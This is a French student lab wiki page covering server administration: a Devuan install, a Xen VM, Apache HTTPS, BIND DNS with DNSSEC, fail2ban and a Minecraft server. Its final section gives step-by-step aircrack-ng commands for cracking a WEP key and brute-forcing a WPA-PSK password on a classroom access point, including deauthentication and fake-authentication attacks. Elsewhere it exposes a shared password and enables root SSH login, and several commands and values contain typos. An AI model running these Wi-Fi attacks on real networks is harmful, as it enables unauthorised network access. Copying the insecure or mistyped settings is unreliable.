TP sysres IMA5 2022/2023 G4

De Wiki d'activités IMA

Installation de l'OS devuan

Les deux premières séances de TP avaient comme but la réinstallation de l'Os sur les machines Zabeth de la selle E306 Nous avons travaille sur des deux zabeth 16 et 8

Pour réinstaller le système d'exploitation, procédez comme suit :

  1️⃣-->| Récupérer le fichier de la distribution (.iso) : fichier .iso
  2️⃣-->| Rendre la clé bootable:
            - Ouvrez le Terminal
            - Identifiez le nom de la clé USB (ex. : sda) : lsblk -S
            - Démontez toutes les partitions de la clé USB (remplacez X par la lettre attribuée à votre clé USB) : umount /dev/sdX?*
            - Flasher l’image ISO sur la clé USB : sudo dd if=/chemin/vers/image.iso of=/dev/sdX bs=4M status=progress conv=fdatasync
  3️⃣-->| Redémarrez la machine, puis démarrez sur la clé USB, en suivant les étapes de configuration indiquées sur les photos ci-dessus.
            - IP machine : 172.26.145.50+n°zabeth/24
            Etape1.png
            - Adresse routeur (Gateway) 172.26.145.254
            Etape2.png
            - Server dns = 193.48.57.48
            Etape3.png
            - Nom du domaine
            Etape4.png
            - Password : glopglop
            Etape5.png
            -  Partition de disks
            Etape6.png
            Etape7.png
            Etape8.png
            - Proxy : http://proxy.polyetch-lille.fr:3128
            Etape9.png

Installation de XEN

            -ssh root@capbreton.plil.info
            -xen-create-image --ip=193.48.57.108 --gateway=193.48.57.161 --netmask=255.255.255.0 --hostname=dio4 --dist=chimaera --dir=/usr/local/xen/

Ensuite, nous avons créé deux LV, chacun de 10 Go sur le groupe de volume de stockage:

            -lvcreate -L10G -n dio4home storage
            -lvcreate -L10G -n dio4var storage

nous modifions ensuite notre fichier "/etc/xen/dio4.cfg" pour préciser l'ajout les volumes logiques dio4home et dio4var , de plus on ajoute le bridge bridgeStudents dans la fonction vif. Pour cela on ajoute les lignes suivantes:

            name= 'dio4'
            #
            #  Networking
            #
            vif         = [ 'mac=00:16:3E:CB:36:83,bridge=bridgeStudents' ]
            disk        = [
                             'file:/usr/local/xen/domains/dio4/disk.img,xvda2,w',
                             'file:/usr/local/xen/domains/dio4/swap.img,xvda1,w',
                             'phy:/dev/storage/dio4home,xvda3,w',
                             'phy:/dev/storage/dio4var,xvda4,w'
                         ]
            -xen create /etc/xen/dio4.cfg -c

Afin de faire une repartition nous avons suivi les commades suivantes:

            -mount /dev/xvda3 /home 
            -mount /dev/xvda4 /mnt
            -mv /var/* /mnt 
            -umount /mnt
            -mount /dev/xvda4 /var

Nous avons modifier le fichier /etc/network/interfaces afin d'accider a l'internet :

            # The primary network interface
            auto eth0
            iface eth0 inet static
             address 172.26.145.104
             gateway 172.26.145.254
             netmask 255.255.255.


une fois l'acces a l'internet est assure , nous avons geneter notre propre demande de signature de certificat (CSR):

            -openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr -utf8

Configuration du SSh

Tout d'abord nous avons modifié en premier temps après avoir être connecté sur la machine virtuelle le fichier sshd_config (/etc/ssh/sshd_config):

            -Port 2223
            -PermitRootLogin yes
            -PassworddAuthentification yes 

Puis :

            -systemctl restart ssh
            -systemctl status ssh

par consequent nous pouvons se loger a notre VM comme suite :

            -ssh root@193.48.57.181


Configuration Apache2 HTTP/HTTPS

On a installé apache2 :

      apt install apache2

Il faut activer le module ssl avec les commandes :

      a2enmod ssl
      a2ensite default-ssl
      service apache2 reload

On a validé la demande d'un certificat TLS pour notre domaine paaasta.site (sur gandi), et on a créé une clé et un fichier CSR qu'on va utiliser dans la partie HTTPS :

      apt install openssl
      openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr -utf8

Puis on a créé le fichier /etc/apache2/sites-available/paaasta.site.conf :

<VirtualHost *:80>
   ServerName paaasta.site
   ServerAlias www.paaasta.site
   ServerAdmin webmaster@localhost
   DocumentRoot /var/www/paaasta.site/
       <Directory /srv/web/paaasta.site/www>
               Options -Indexes +FollowSymLinks +MultiViews
               AllowOverride none
               Require all granted
       </Directory>
       ErrorLog /var/log/apache2/error.paaasta.site.log
       CustomLog /var/log/apache2/access.paaasta.site.log combined
</VirtualHost>
<VirtualHost *:443>
   ServerName paaasta.site
   ServerAlias www.paaasta.site
   ServerAdmin webmaster@localhost
   DocumentRoot /var/www/paaasta.site/
       <Directory /srv/web/paaasta.site/www>
               Options -Indexes +FollowSymLinks +MultiViews
               AllowOverride none
               Require all granted
       </Directory>
       SSLEngine on
       SSLCertificateFile    /root/paaasta.site.crt
       SSLCertificateKeyFile   /root/myserver.key
       SSLCertificateChainFile /root/GandiStandardSSLCA2.pem
       ErrorLog /var/log/apache2/error.paaasta.site.log
       CustomLog /var/log/apache2/access.paaasta.site.log combined
</VirtualHost>

Puis on a exécuté les commandes suivants :

      Pour activer notre site :
      a2dissite default-ssl.conf
      a2ensite paaasta.site.conf
      
      Pour créer le répertoire paaasta.site :          
      mkdir /var/www/paaasta.site
      Pour redémarrer le service apache2 :
      service apache2 reload

Maintenant pour personaliser notre page, nous allons créer le ficher index.html dans /var/www/paaasta.site :


          <html>
          <head>
                <title> Paasta </title>
          </head>
          <body>
                <> paaaastaaaaaaa
          </body>
          </html>

Configuration du DNS

On a installé le package bind9 :

            bind9

On a effectué des modifications sur le site gandi.net :

            Glue Records
            Glue.png
            Nameservers
            Name.png

Dans le fichier /etc/resolv.conf, on a ajouté la ligne :

            nameserver 127.0.0.1

Pour la configuration forward and reverse lookup zones on ajoute les lignes suivants dans le fichier /etc/bind/named.conf.local :

            zone "paaasta.site" {
                  type master;
                  file "/etc/bind/db.paaasta.site";
                  allow-transfer{ 217.70.177.40; };
                  notify yes;
            };
            zone "57.48.193.in-addr.arpa" {
                  type master;
                  file "/etc/bind/db.193.48.57";
                  allow-transfer {217.70.177.40; };
                  notify yes;
            };

Puis on ajoute les lignes suivants dans le fichier /etc/bind/named.conf.options :

            forwarders {
                 8.8.8.8;
                 4.4.2.2;
            };
            recursion yes;
            listen-on-v6 { any; };
            listen-on { any; };
            allow-recursion { trusted; };
            allow-transfer{ none; };
            acl "trusted" {
               193.48.57.181;
               217.70.177.40;
            };

On a crée le fichier /etc/bind/db.paaasta.site pour la forward zone :


            ; BIND data file for local loopback interface
            ;
            $TTL    604800
            @       IN      SOA     ns1.paaasta.site. root.paaasta.site. (
                             3         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
            ;
            @       IN      NS      ns1.paaasta.site.
            @       IN      NS      ns6.gandi.net.
            @       IN      A       193.48.57.181
            @       IN      AAAA    2001:660:4401:60b0:216:3eff:fecb:3683
            ns1     IN      A       193.48.57.181
            ns1     IN      AAAA    2001:660:4401:60b0:216:3eff:fecb:3683
            www     IN      A       193.48.57.181
            www     IN      AAAA    2001:660:4401:60b0:216:3eff:fecb:3683
            127     IN      A       193.48.57.181

et le fichier /etc/bind/db.193.48.57 pour la reverse zone :

            ;
            ; BIND reverse data file for local loopback interface
            ;
            $TTL    604800
            @       IN      SOA     ns1.paaasta.site. root.paaasta.site. (
                             1         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
            ;NS records 
            @       IN      NS      ns1.paaasta.site.
            ;PTR records
            181     IN      PTR     ns1.paaasta.site. ;193.48.57.181

Maintenant il ne reste que de redémarrer bind9 :

            service named restart

DNSSEC

D'abbord, on ajoute ces lignes dans le fichier /etc/bind/named.conf.options :

 dnssec-enable yes;
 dnssec-validation auto;

Puis, on crée les deux clés dsnsec ksk et zsk

 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE paaasta.site
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE paaasta.site

et on renomme les fichiers ksk et zsk :

   mv ./Kpaaasta.site.+005+62111.key ./Kpaaasta.site-ksk.key
   mv ./Kpaaasta.site.+005+62111.private ./Kpaaasta.site-ksk.private
   mv ./Kpaaasta.site.+005+50707.key ./Kpaaasta.site-zsk.key
   mv ./Kpaaasta.site.+005+50707.key ./Kpaaasta.site-zsk.private
   mv ./Kpaaasta.site.+005+50707.private ./Kpaaasta.site-zsk.private

On a déplacé ces fichiers dans un répetoire : /etc/bind/paaasta.site.dnssec

On ajoute les lignes suivantes dans le fichier /etc/bind/db.paaasta.site

  $INCLUDE "/etc/bind/paaasta.site.dnssec/Kpaaasta.site-zsk.key";
  $INCLUDE "/etc/bind/paaasta.site.dnssec/Kpaaasta.site-ksk.key";

On signe le fichier de zone :

  dnssec-signzone -o paaasta.site -k Kpaaasta.site-ksk.key ../db.paaasta.site Kpaaasta.site-zsk.key

Dans le fichier /etc/bind/named.conf.local on change file "/etc/bind/db.paaasta.site" à "/etc/bind/db.paaasta.site.signed"

Fail2ban

On installe le package fail2ban et iptables :

 apt install iptables
 apt install fail2ban
 service fail2ban start
 service fail2ban enable

Dans le fichier /etc/fail2ban/jail.d/defaults-debian.conf on active le bannissement sur SSH

   [sshd]
   enabled = true
   maxretry = 5
   findtime = 120
   bantime = 120

maxretry : nombre de tentatives findtime : durée en seconds bantime : le temps de bannissement en seconds

et sur DNS

   [named-refused]
   enabled = true


On ajoute les lignes suivantes dans /etc/bind/named.conf.options

 rate-limit {
                   responses-per-second 5;
              };


 logging {
         channel security_file {
            	file "/var/log/named/security.log" versions 3 size 30m;
       	severity dynamic;
       	print-time yes;
   	   };
   	   category security {
       	security_file;
   	   };
 };

On crée le fichier security.log dans /var/log/named

 touch /var/log/named/security.log
 cd /var/log
 chown bind -R named/
 chown bind named/security.log 

On redémarre le service fail2ban. Résultat : Dans le fichier security.log

  30-Nov-2022 18:32:09.046 client @0x7f57306a5d40 95.181.161.2#45897 (census.gov): query (cache) 'census.gov/ANY/IN' denied
  30-Nov-2022 18:49:47.582 client @0x7f57306a5d40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied
  30-Nov-2022 19:49:50.966 client @0x7f57306a5d40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied
  30-Nov-2022 20:49:50.050 client @0x7f573070bb40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied
  30-Nov-2022 21:49:39.970 client @0x7f573070bb40 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied
  30-Nov-2022 22:14:15.202 client @0x7f57307022e0 167.94.138.120#57497 (ip.parrotdns.com): query (cache) 'ip.parrotdns.com/A/IN' denied
  30-Nov-2022 22:36:09.230 client @0x7f57307022e0 173.214.175.178#33086 (sl): query (cache) 'sl/ANY/IN' denied
  30-Nov-2022 22:49:45.026 client @0x7f57307022e0 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied
  30-Nov-2022 23:49:51.242 client @0x7f57307022e0 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied
  01-Dec-2022 00:49:42.986 client @0x7f57307022e0 185.49.142.14#5300 (example.com): query (cache) 'example.com/A/IN' denied

Serveur Minecraft

Tout d'abord avons installer l’environnement d’exécution minimal OpenJDK-Java qui est obligatoire pour exécuter le serveur d’application Minecraft programmé en Java :

            -apt install openjdk-17-jre-headless

Puis nous avons installé l'utilitaire screen :

            -apt install screen

L’étape suivante consiste à libérer le port TCP 25565 :

            -ufw allow 25565

Puis nous avons télécharger le serveur d'application Minecraft ( fichier server.jar )par la commande wget. Après avoir téléchargé le fichier server.jar, on peut exécuter le serveur. Pour ce faire, one doit d'abbord lancer la commande screen.

            -screen

Pour lancer le serveur:

            -java -Xms1G -Xmx2G -jar server.jar nogui

Si on exécute la commande pour la première fois on obtient un message d'erreur car le fichier eula.txt n’a donc pas pu être chargé (EULA pour End User License Agreement). Donc il faut l'ouvrir et accepter les conditions générales d’utilisation :

            -vim eula.txt

Dans le fichier on change eula=false par eula=true.

Maintenant on peut lancer le serveur par la commande:

            -java -Xms1G -Xmx2G -jar server.jar nogui

Pour que le serveur reste actif lorsque on se déconnectee du serveur à distance :

            -screen -r 32646

Test : On a testé le serveur dur le site mcsrvstat.us :

     Mine.png

Le site nous indique qu'il s'agit bien d'un serveur Minecraft

Tests d’intrusion

Cassage de clef WEP d’un point d’accès WiFi

Nous casserons une clé WEP depuis une borne Wi-Fi. Pour cela, nous utilisons le paquet de craquage: aircrack-ng

            -sudo apt update 
            -sudo apt install aircrack-ng

Tout d'abord, nous vérifions l'interface du WiFi en utilisant la commande :

            -sudo iw dev

Comme nous voiyons clairement dans la sortie, l'interface WiFi est "wlp1s0".

Après avoir connu l'interface du WiFi, ce que nous devons faire est d'éteindre l'interface WiFi puis de changer son mode de managed à monitor et enfin de remonter le WiFi. Les commandes utilisées pour effectuer cette tâche sont :

            -sudo ip link set wlp1s0 down
            -sudo iw wlp1s0 set monitor none
            -sudo ip link set wlp1s0 up

Vérifions a nouveau status de l'interface du WiFi:

            -sudo iwconfig

nous écoutons maintenant les trames Wi-Fi et Puis nous récupèrons le BSSID du cracotte04.

            -sudo airodump-ng --encrypt wep wlp1s0 

Testons l'injection de paquets par le dispositif sans fil, Le but de cette étape est de s'assurer que votre carte est à distance de votre AP et peut lui injecter des paquets.

            -sudo aireplay-ng -9 -e cracotte014 -a 04:DA:D2:9C:504:50 wlp1s0 

nous lançons airodump-ng pour capturer les IVs:

            -airodump-ng -c 4 --bssid 04:DA:D2:9C:54:50 -w output wlp1s0 

ensuite nous utilisons aireplay-ng pour faire une fausse authentification avec le point d'accès.

            -aireplay-ng -11 0 -e cracotte04 -a 04:DA:D2:9C:54:50 -h 40:A5:EF:01:21:80 wlp1s0 

finalement nous lançons l'algorithme de craquage pour obtenir la clé WEP :

            -aircrack-ng -b 04:DA:D2:9C:54:50 output*.cap

Cassage de mot de passe WPA-PSK par force brute

            -sudo airmon-ng check kill
            -sudo airmon-ng start wlan0
            -sudo airodump-ng wlp1s0 
            -sudo airodump-ng -w ayoub -c 11 --bssid 04:DA:D2:9C:54:50 wlp1s0 
            -sudo aireplay-ng --deauth 0 -a 9E:AD:AC:1E:98:15 wlp1s0 
            -airmon-ng stop wlp1s0 
            -aircrack-ng ayoub-01.cap -w worldlist.txt

au cas de blockage après le stop redémarre le network manager:

            -sudo systemctl restart NetworkManager

Coffre Fort

Fichier:Version0.zip

Fichier:Version1.zip

Fichier:Version2.zip